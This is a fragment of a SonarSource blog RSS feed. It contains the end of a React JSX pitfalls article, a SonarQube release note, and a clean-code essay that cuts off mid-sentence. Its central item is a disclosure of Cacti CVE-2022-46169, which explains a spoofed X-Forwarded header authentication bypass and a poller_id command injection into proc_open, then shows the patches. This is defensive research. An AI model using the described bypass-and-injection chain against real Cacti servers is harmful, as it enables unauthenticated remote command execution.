}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Which will actually crash your component with a &lt;code&gt;SyntaxError&lt;/code&gt; caused by an unexpected token, the exclamation mark 💥.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;How are you supposed to add comments in JSX? Well, you’ll need to use curly braces &lt;code&gt;{ }&lt;/code&gt; to tell JSX that you are embedding a JavaScript expression and not a regular String:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function LGTM() {

  return &lt;div&gt;

    {/* I’m for your eyes only */}

  &lt;/div&gt;

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As with the first pitfall we shared, TypeScript won’t help us since it has no way to know if we really want the string &lt;code&gt;// nothing here&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarLint has your back once again here. Both single-line and multi-line comments will be detected as bugs as you write them in VS Code or your IDE of choice 👍.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Eslint has a “recommended” rule for this one. You will need to add the &lt;code&gt;eslint-plugin-react&lt;/code&gt; plugin and explicitly extend it in your &lt;code&gt;.eslintrc.json&lt;/code&gt; file:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ npm install eslint eslint-plugin-react --save-dev

$ cat .eslintrc.json

{

  &quot;extends&quot;: [

    &quot;plugin:react/recommended&quot;

  ]

}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Render a lot of nothing&lt;/h2&gt;&lt;p&gt;This is a silly one that can make you pull your hair out 🧑‍🦲.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we code all day, we can become blind to subtle details. The real problem comes when there is no issue raised by our tools, in this case TypeScript or React.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Try to find the problem with this small component:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const HeadScratcher = (props) =&gt; {

  &lt;div&gt;

    &lt;h1&gt;I do nothing, really&lt;/h1&gt;

  &lt;/div&gt;

};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Did you see that one? Or more precisely, did &lt;em&gt;not&lt;/em&gt; see the missing &lt;code&gt;return&lt;/code&gt; statement?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;React will happily render a lot of nothing, without any errors, and leave you alone to figure it out.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This can happen easily if you are using regular parenthesis where no &lt;code&gt;return&lt;/code&gt; is needed, and maybe mixed up with curly braces.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is how that should look if you wanted to render something:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const HeadScratcher = (props) =&gt; (

  &lt;div&gt;

    &lt;h1&gt;I do nothing, really&lt;/h1&gt;

  &lt;/div&gt;

);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Maybe hard to catch if you look too quickly 👀. It could be in the newspaper or in a puzzle book.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Anyway, using parenthesis means now we are implicitly returning a single JSX expression. That works as expected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You could also be more explicit with the return statement while keeping the curly braces:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const HeadScratcher = (props) =&gt; {

  return (

    &lt;div&gt;

      &lt;h1&gt;I do nothing, really&lt;/h1&gt;

    &lt;/div&gt;

  );

};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As expected, SonarLint will help you while you’re writing the code. It will raise an issue since this is very likely an annoying bug 🐛.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this case, there is no Eslint rule available. There is &lt;code&gt;react/require-render-return&lt;/code&gt; that can help detect missing &lt;code&gt;return&lt;/code&gt; statements in React Classes. Unfortunately, it won&amp;#x27;t work for functional components like the ones in our examples. Nevertheless, it comes with “react/recommended” and it is &lt;strong&gt;better than nothing!&lt;/strong&gt;&lt;/p&gt;&lt;h2&gt;Prevent issues before they happen&lt;/h2&gt;&lt;p&gt;As you see, there can be some non-obvious edge cases when rendering components in React. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some of these cases can be detected with Eslint, although you might need some setup as described in each case. Others are more subtle.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default, SonarLint will detect all these issues and warn you as they come up, so you can fix them on the spot, without losing focus, allowing you to &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;write clean code&lt;/a&gt;. If you want to dig deeper, SonarLint will also provide an explanation as to why they happen in the first place🧐. Sort of what we did in this article.&lt;/p&gt;&lt;h2&gt;That’s a wrap&lt;/h2&gt;&lt;p&gt;Thank you for following this blog series about React and SonarLint, it&amp;#x27;s been fun! We are already preparing our next series about JavaScript and SonarLint, designed to help you Clean as You Code. See you in a whale 🐋!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you liked this post, send us a Tweet @SonarSource or a comment in the Community. We’d love to hear about your experience.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Read more about these rules in our catalog:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-6439&quot;&gt;S6439 React components should not render non-boolean condition values&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-6438&quot;&gt;S6438 Comments inside JSX expressions should be enclosed in curly braces&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-6435&quot;&gt;S6435 React render function should return a value&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;[Previous posts]&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/lesser-spotted-react-mistakes-hooked-on-a-feeling/&quot;&gt;Part 1 of “Lesser spotted React mistakes”: Hooked on a feeling&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/lesser-spotted-react-mistakes-zombie-methods/&quot;&gt;Part 2 of “Lesser spotted React mistakes”: Zombie methods&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Cacti: Unauthenticated Remote Code Execution]]></title><description><![CDATA[Learn how we discovered a critical vulnerability in Cacti with the help of SonarCloud.]]></description><link>https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution</link><guid isPermaLink="false">e0b4c4b7-9c6a-5cf8-9af4-a3fda028ca34</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Tue, 03 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cacti is an open-source, web-based monitoring solution with a long-standing history dating back to its first release in 2001. Nowadays, it is well established, actively maintained, and deployed worldwide. A quick Shodan search reveals that thousands of organizations publicly expose their instances to the internet.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To continuously improve the technology behind our Clean Code solution, we regularly scan open-source projects and evaluate the results. In the case of Cacti, our engine reported a promising command injection vulnerability. Analyzing this finding revealed that an unauthenticated attacker can exploit the vulnerability by leveraging an authentication bypass.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This article will outline the impact and deep dive into the technical details of the discovered vulnerabilities. Furthermore, we will determine the root cause of the vulnerabilities and explain how the applied patches mitigate them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The vulnerabilities affect Cacti version 1.2.22 and below and are tracked as CVE-2022-46169 with a CVSS score of 9.8. Unauthenticated attackers could exploit a vulnerable Cacti instance if any monitored device uses a specific data source. Exploiting allows attackers to run arbitrary commands under the same user as the web server process is running.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following video demonstrates the exploitation of a server running a vulnerable version of Cacti:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/RW1c6Wy92Ck&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf&quot;&gt;security advisory&lt;/a&gt; contains a patch that system administrators must apply manually for Cacti versions 1.2.22 and below. The patch will be released as part of versions 1.2.23 and 1.3.0.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;We strongly recommend applying the provided patches and updating to a new version once available.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we look at the vulnerability reported by SonarCloud and determine how an attacker can exploit it. The attack we demonstrate is made of two distinct code vulnerabilities:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Authentication Bypass: a hostname-based authorization check is not implemented safely for most installations of Cacti&lt;/li&gt;&lt;li&gt;Command Injection: unsanitized user input is propagated to a string used to execute an external command&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Authentication Bypass&lt;/h3&gt;&lt;p&gt;The script &lt;code&gt;remote_agent.php&lt;/code&gt; is supposed to be accessed by authorized clients only. For this reason, there is an authorization check at the beginning of the file:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;cacti/remote_agent.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
if (!remote_client_authorized()) {
   print &apos;FATAL: You are not authorized to use this service&apos;;
   exit;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function &lt;code&gt;remote_client_authorized&lt;/code&gt; retrieves the IP address of the client (&lt;code&gt;$client_addr&lt;/code&gt;), resolves it to the corresponding hostname (&lt;code&gt;$client_name&lt;/code&gt;) and checks if the &lt;code&gt;poller&lt;/code&gt; table contains an entry with this hostname:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;cacti/lib/html_utility.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
function remote_client_authorized() {
   // ...
   $client_addr = get_client_addr();
   // ...
   $client_name = gethostbyaddr($client_addr);
   // ...
   $pollers = db_fetch_assoc(&apos;SELECT * FROM poller&apos;, true, $poller_db_cnn_id);
   foreach($pollers as $poller) {
      if (remote_agent_strip_domain($poller[&apos;hostname&apos;]) == $client_name) {
         return true;
      // ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The above code snippet shows that the function &lt;code&gt;get_client_addr&lt;/code&gt; retrieves the IP address of the client. This function takes into account a variety of attacker-controllable HTTP headers when determining the IP address:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;cacti/lib/functions.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
function get_client_addr($client_addr = false) {
   $http_addr_headers = array(
       // ...
       &apos;HTTP_X_FORWARDED&apos;,
       &apos;HTTP_X_FORWARDED_FOR&apos;,
       &apos;HTTP_X_CLUSTER_CLIENT_IP&apos;,
       &apos;HTTP_FORWARDED_FOR&apos;,
       &apos;HTTP_FORWARDED&apos;,
       &apos;HTTP_CLIENT_IP&apos;,
       &apos;REMOTE_ADDR&apos;,
   );

   $client_addr = false;
   foreach ($http_addr_headers as $header) {
      // ...
      $header_ips = explode(&apos;,&apos;, $_SERVER[$header]);
      foreach ($header_ips as $header_ip) {
         // ...
         $client_addr = $header_ip;
         break 2;
      }
   }
   return $client_addr;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While the &lt;code&gt;REMOTE_ADDR&lt;/code&gt; variable is set to the source IP address from the connection to the web server, variables beginning with &lt;code&gt;HTTP_&lt;/code&gt; are populated by the corresponding HTTP headers received from the client. Attackers can fully control these values if there is no instance between the client and the web server (i.e., a reverse proxy) that would filter these HTTP headers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Coming back to the former code snippet, the &lt;code&gt;poller&lt;/code&gt; table contains a default entry with the hostname of the server running Cacti. Because of this, attackers can bypass the &lt;code&gt;remote_client_authorized&lt;/code&gt; check by, e.g., providing the HTTP header &lt;code&gt;X-Forwarded: &amp;lt;TARGET-IP&amp;gt;&lt;/code&gt;. This way, the function &lt;code&gt;get_client_addr&lt;/code&gt; returns the IP address of the server running Cacti. The call to &lt;code&gt;gethostbyaddr&lt;/code&gt; resolves this IP address to the hostname of the server, which will pass the poller hostname check because of the default entry.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This allows unauthenticated attackers to access the functionality of &lt;code&gt;remote_agent.php&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Command Injection Vulnerability&lt;/h3&gt;&lt;p&gt;Scanning Cacti with SonarCloud revealed an interesting command injection vulnerability in &lt;code&gt;remote_agent.php&lt;/code&gt;. You can inspect the finding directly on SonarCloud:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_cacti-blogpost&amp;open=AYVi68k7Wm9EF-_N9Gwb&quot;&gt;&lt;strong&gt;Try it by yourself on SonarCloud!&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;According to the outlined injection flow, the user-provided parameter &lt;code&gt;poller_id&lt;/code&gt; is propagated to the first parameter of &lt;code&gt;proc_open&lt;/code&gt; without any sanitization or escaping. This introduces a command injection vulnerability in the &lt;code&gt;poll_for_data&lt;/code&gt; function.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers can trigger the vulnerable function by setting the &lt;code&gt;action&lt;/code&gt; parameter to &lt;code&gt;polldata&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;cacti/remote_agent.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
switch (get_request_var(&apos;action&apos;)) {
   case &apos;polldata&apos;:
      poll_for_data();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the beginning, the &lt;code&gt;poll_for_data&lt;/code&gt; function retrieves the parameters &lt;code&gt;host_id&lt;/code&gt; and &lt;code&gt;poller_id&lt;/code&gt;. However, there is an essential difference: The &lt;code&gt;host_id&lt;/code&gt; parameter comes from &lt;code&gt;get_filter_request_var&lt;/code&gt;, while the &lt;code&gt;poller_id&lt;/code&gt; parameter comes from &lt;code&gt;get_nfilter_request_var&lt;/code&gt;; notice the additional &lt;code&gt;n&lt;/code&gt; character here:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;cacti/remote_agent.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
function poll_for_data() {
   // ...
   $host_id        = get_filter_request_var(&apos;host_id&apos;);
   $poller_id      = get_nfilter_request_var(&apos;poller_id&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While the &lt;code&gt;get_filter_request_var&lt;/code&gt; function verifies that the retrieved parameter is an integer, &lt;code&gt;get_nfilter_request_var&lt;/code&gt;, which is used to retrieve the &lt;code&gt;poller_id&lt;/code&gt; parameter, allows arbitrary strings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Further following the injection flow, we can see that poller items are retrieved from the database. If the action of one of these items is set to &lt;code&gt;POLLER_ACTION_SCRIPT_PHP&lt;/code&gt;, the vulnerable call to &lt;code&gt;proc_open&lt;/code&gt; is issued:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;cacti/remote_agent.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php

// ... retrieve poller items from database ...

foreach($items as $item) {
   switch ($item[&apos;action&apos;]) {
   // ...
   case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
      // ...
      $cactiphp = proc_open(read_config_option(&apos;path_php_binary&apos;) . &apos; -q &apos; . $config[&apos;base_path&apos;] . &apos;/script_server.php realtime &apos; . $poller_id, $cactides, $pipes);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This means that attackers can leverage the &lt;code&gt;poller_id&lt;/code&gt; parameter to inject an arbitrary command when an item with the &lt;code&gt;POLLER_ACTION_SCRIPT_PHP&lt;/code&gt; action exists. This is very likely on a productive instance because this action is added by some predefined templates like &lt;code&gt;&amp;quot;Device - Uptime&amp;quot;&lt;/code&gt; or &lt;code&gt;&amp;quot;Device - Polling Time&amp;quot;&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The attacker must provide the corresponding id to make the database query return such an item. Since the ids are numbered in ascending order and hundreds of ids can be sent in a single request by providing an array, attackers can easily discover a valid identifier.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Patches&lt;/h2&gt;&lt;h3&gt;Authentication Bypass&lt;/h3&gt;&lt;p&gt;The authentication bypass was mitigated by allowing the administrator to configure which HTTP proxy headers should be honored when determining the IP address of a client. Only the &lt;code&gt;REMOTE_ADDR&lt;/code&gt; server variable is used by default, ensuring a secure default configuration.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Additionally, this patch allows administrators to use HTTP proxy headers, e.g., in scenarios where the Cacti instance is behind a reverse proxy.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Command Injection&lt;/h3&gt;&lt;p&gt;The command injection vulnerability was mitigated with two fixes applied to the source (retrieval of user input) and the sink (call to &lt;code&gt;proc_open&lt;/code&gt;). At the source, the function &lt;code&gt;get_nfilter_request_var&lt;/code&gt; was replaced with &lt;code&gt;get_filter_request_var&lt;/code&gt; to ensure that the &lt;code&gt;poller_id&lt;/code&gt; parameter is an integer:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;cacti/remote_agent.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
function poll_for_data() {
   // ...
   $poller_id      = get_filter_request_var(&apos;poller_id&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At the sink, the &lt;code&gt;$poller_id&lt;/code&gt; variable was escaped via &lt;code&gt;cacti_escapeshellarg&lt;/code&gt; before being inserted into the command string of &lt;code&gt;proc_open&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;cacti/remote_agent.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
$cactiphp = proc_open(read_config_option(&apos;path_php_binary&apos;) . &apos; -q &apos; . $config[&apos;base_path&apos;] . &apos;/script_server.php realtime &apos; . cacti_escapeshellarg($poller_id), $cactides, $pipes);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This second fix may seem unnecessary, as the validation at the source already ensures that the variable contains an integer. However, adjusting the source code may change this assumption in the future, reintroducing a critical vulnerability. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because of this, both fixes are essential: user input should always be validated and restricted to the assumed values (an integer in this case). Furthermore, values should always be escaped before being passed to sensitive functions like &lt;code&gt;proc_open&lt;/code&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-12-02&lt;/td&gt;&lt;td&gt;We report all issues to vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-12-02&lt;/td&gt;&lt;td&gt;Vendor confirmes the issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-12-02&lt;/td&gt;&lt;td&gt;Vendor provides patch via security advisory&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Based on our information, the same vulnerabilities were independently discovered by &lt;a href=&quot;http://infosec.exchange/@stevenseeley&quot;&gt;@stevenseeley&lt;/a&gt; and reported via ZDI on 2022-11-25. Further details are not available at the time of writing.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we detailed a critical command injection vulnerability in the IT monitoring solution Cacti. This code vulnerability is automatically detected by our scanning engine. We also uncovered a bug in the authentication mechanism, allowing its exploitation from an unauthenticated position. We also looked at the patches applied to fix the vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The patches and the fact that either of the two applied fixes for the command injection vulnerability would have prevented it highlights how important it is to apply security on all layers. Because of this, an essential part of our &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code approach&lt;/a&gt; is to embed security as an integral part of development. This ensures that security considerations are not only applied to the current state of the source code, reducing the risk of introducing new vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank the Cacti maintainers (&lt;a href=&quot;https://github.com/netniV&quot;&gt;@netniV&lt;/a&gt;, &lt;a href=&quot;https://github.com/TheWitness&quot;&gt;@TheWitness&lt;/a&gt;), who almost instantly verified the issues and provided a comprehensive patch!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (1/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zabbix-case-study-of-unsafe-session-storage/&quot;&gt;Zabbix - A Case Study of Unsafe Session Storage&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[SonarQube 9.8 is here!]]></title><description><![CDATA[The latest version of SonarQube from Sonar has arrived. Check out what’s new in SonarQube 9.8 in this quick video and download it now.]]></description><link>https://www.sonarsource.com/blog/sonarqube-9-8-is-here</link><guid isPermaLink="false">69867e98-a73c-5c5b-8b34-0fdc84d11cac</guid><dc:creator><![CDATA[Lauren Cranford]]></dc:creator><pubDate>Wed, 21 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What&amp;#x27;s New in SonarQube9.8&lt;/h2&gt;&lt;p&gt;SonarQube 9.8 is now available! In this release, we&amp;#x27;ve improved PR analysis even more. Also included are new rules across JavaScript, TypeScript, Kotlin, Java, C++, and Python. Plus we&amp;#x27;ve added SARIF report importing, SCIM user provisioning and de-provisioning, better project onboarding, and better server operability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This release is the LAST release before SonarQube 9.9 LTS - coming in February! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some highlights of 9.8 include: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Fast PRs for Kotlin&lt;/li&gt;&lt;li&gt;JavaScript rules to master the AWS CDK&lt;/li&gt;&lt;li&gt;C++ 20 concepts&lt;/li&gt;&lt;li&gt;SARIF import&lt;/li&gt;&lt;li&gt;SCIM deprovisioning&lt;/li&gt;&lt;li&gt;Better project onboarding&lt;/li&gt;&lt;li&gt;Ability to run the server on Java 17&lt;/li&gt;&lt;li&gt;And so much more&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Check out this video by Sonar Community Manager, G. Ann Campbell, to see everything included in this latest release.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/_mqCs7C5UeY&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Develop Your Cloud Native Apps the Sustainable Way]]></title><description><![CDATA[Application development using cloud native technologies is a game changer for developers. With a robust, maintainable codebase, they are positioned to do their best work. Learn how Sonar has the clean code game plan to perfectly complement your cloud native initiatives.]]></description><link>https://www.sonarsource.com/blog/sustainable-clean-code</link><guid isPermaLink="false">267054a9-fbe8-503b-bf41-532f4010218d</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Thu, 15 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A World Reliant On Code&lt;/h2&gt;&lt;p&gt;In a very real sense, software is running the world. Whether they realize it or not, the lifeblood of most companies is their source code. Essentially, the codebase is the DNA and the health of that DNA dictates long-term success. If one takes this viewpoint, then keeping that codebase free from defects is crucial for a strong, healthy organization. It can take years to build up a customer following and just a single vulnerability can erase decades of hard-earned trust.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the software landscape, cloud native is certainly changing how applications are built, maintained and hosted. It’s at the forefront of how modern companies are staying ahead of the competition by focusing on their core business. With the advent of new technologies such as serverless, Infrastructure as Code (IaC) and Kubernetes, there’s more source code than ever and keeping it clean and safe is essential. &lt;/p&gt;&lt;h2&gt;Clean Code Aligns Quality Expectations&lt;/h2&gt;&lt;p&gt;It’s already an expectation that developers take ownership of their code reliability (bugs). However, the ownership of maintainability (code smells) and security (vulnerabilities) has traditionally been less clear. In particular, application security hasn’t always been a top-of-mind concern for most developers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From a developer perspective, there are several reasons for this:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;It wasn’t a clearly defined expectation (especially for security)&lt;/li&gt;&lt;li&gt;A lack of clear education regarding the problem (identifying code quality issues)&lt;/li&gt;&lt;li&gt;Insufficient tools for solving the problem (fixing those issues)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It’s tempting to point fingers at developers and demand improvement. While this would clearly be unfair, it’s not unreasonable for users to expect that an application works as intended and doesn’t pose a security risk. This is certainly a reasonable expectation and it requires developers to shoulder more responsibility than just eliminating bugs. It demands a fundamentally different approach to building software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This new approach starts with an expectation that developers are responsible for all of the quality aspects of the code they write. This means taking responsibility for minimizing bugs, code smells, vulnerabilities and overall code complexity. Just like a sculptor, shaping the stone into art, the developer has their hands on the code and is really in the best position to affect the outcome. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This ideology may seem like a strong stance and yet it is necessary. The reality is that the amount of source code in the world has increased exponentially. The influence of software on the world is undeniable and we’re starting to feel the effects of this weight. It has happened slowly and steadily, but the impact is undeniable - bit by bit, byte by byte - software is eating the world!&lt;/p&gt;&lt;h2&gt;Clean Code Brings Sustainability&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;What is clean code?&lt;/a&gt; At a very high level, there are two “qualities” of software that you can directly control with source code:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;First, is how the software will evolve. What is its capability to support future change? This capability is directly reflected in the name: ‘soft-ware’. If the codebase is allowed to reach a state where changes are difficult to implement, then you really can’t call it software anymore! &lt;/li&gt;&lt;li&gt;The other quality is performance. Will the software be robust, reliable and safe for the user? Will it perform as intended and without compromising user security?&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Organizations that proactively control these two qualities put themselves in the best position for long-term success. A healthy, happy codebase is the necessary foundation upon which you can continually build valuable user benefits.  &lt;/p&gt;&lt;h2&gt;Clean Code in Action&lt;/h2&gt;&lt;p&gt;Hopefully, you’re now convinced that your codebase is a very precious resource that requires intentional handling. It’s tempting to think that a codebase evolves somewhat passively over time at least with respect to its cleanliness. Most organizations are very deliberate with their code functionality and passive with their code quality. Precedence is given to code functionality and the overall quality of the codebase declines over time leading to maintainability issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Imagine a race car that continually receives the latest technology without receiving maintenance and repair of broken parts. This car is doomed to eventual failure as ultimately the underpinnings will fail to support the increasing demands brought on by the new technology. A codebase is the same, you need a clean, healthy foundation that won’t break under the weight of new code meant to enable new features and functionality. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In practice, this means you 